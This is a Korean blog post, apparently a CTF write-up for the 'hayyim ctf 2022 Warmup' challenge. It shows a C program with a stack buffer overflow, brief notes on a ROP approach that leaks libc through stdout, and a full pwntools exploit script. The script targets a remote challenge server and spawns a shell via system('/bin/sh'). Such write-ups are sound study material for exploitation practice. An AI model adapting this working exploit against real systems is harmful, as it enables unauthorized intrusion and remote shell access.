본문 바로가기

hayyim ctf 2022 - Warmup 본문

CTF

hayyim ctf 2022 - Warmup

Seongjun_You 2022. 2. 13. 15:14
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void vuln() {
	char buf[0x30];
	memset(buf, 0, 0x30);
	write(1, "> ", 2);
	read(0, buf, 0xc0);
}

int main(void) {
	init();
	vuln();
	exit(0);
}

해당 문제의 코드이다.

처음에 문제를 봤을 때 그냥 rop 쓰면 끝날 것 같은데??

생각하며 ROPgadget들을 찾았지만

절망적이었다.

사용할 수 있는 가젯은 pop rbx, ret 밖에 없었다.

 

 

csu도 없다.

코드의 흐름을 여기 내에서만 바꿔야 겠다는 생각을 했다.

하지만 rsp변경 코드가 껴있어 너무 불편했다.

 

첫 번째 목표는 

stdout을 leak 하는 거였다.

pop rbx로 stdout을 넣고 read를 다시 실행한다.

그 후 흐름을 다시 바꿔 write를 실행하게 만들었다.

 

 

두 번째는 

얻은 libc base로 가젯들을 계산하고

magic 가젯을 실행하려 했으나

조건들이 맞지 않아 실패했다.

system을 사용해야 했는데

가젯이 없어서 libc파일에서 pop rdi를 구했다.

 

from pwn import *
#p = process('./warmup')
p = remote('141.164.48.191',10001)
context.log_level = 'Debug'
one_gadget = [0x4f3d5,0x4f432,0x10a41c]

elf = ELF('./warmup')
pop_rbx = 0x40057c
buf = 0x40057e
ret = 0x40057d

payload = 'A'*48 + p64(0x601000)
payload += p64(0x40053d)

p.send(payload)

p.sendafter('> ','ZZZZZZZZ')

payload_2 = 'C'*48 + p64(0x601000)
payload_2 += p64(0x400567)
payload_2 += 'D'*48 + p64(0x601000) + p64(0x40055d)
payload_2 += p64(0x601000)*1
payload_2 += p64(0x40053d)*7

time.sleep(0.2)
p.sendafter('> ',payload_2)

time.sleep(0.2)
p.sendafter('> ', '\x60')

leak = u64(p.recv(6)+'\x00\x00')
libc_base = leak - 0x3ec760
system = libc_base + 0x4f550
binsh = libc_base + 0x1b3e1a
pop_rdi = libc_base + 0x215bf
print(hex(libc_base))
print(hex(system))


payload_3 = p64(0)*7
payload_3 += p64(ret)*3
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh)
payload_3 += p64(system)

#gdb.attach(p)
time.sleep(0.2)
p.sendline('\x00')


time.sleep(0.2)
p.sendafter('> ',payload_3)


p.interactive()

 

 

RSP변경으로 인해 중간에 dummy로 넣은 데이터들이 많다.

 

 

 

'CTF' 카테고리의 다른 글

Codegate 2022 preliminary - VIMT  (0) 2022.03.01
hayyim ctf 2022 - Cooldown  (0) 2022.02.15
hayyim ctf 2022 - 후기  (0) 2022.02.13
cyberpeace gcc 3.0 ITCTF 후기  (0) 2022.01.11
SquareCTF 2017 - 6yte  (0) 2021.11.16
Comments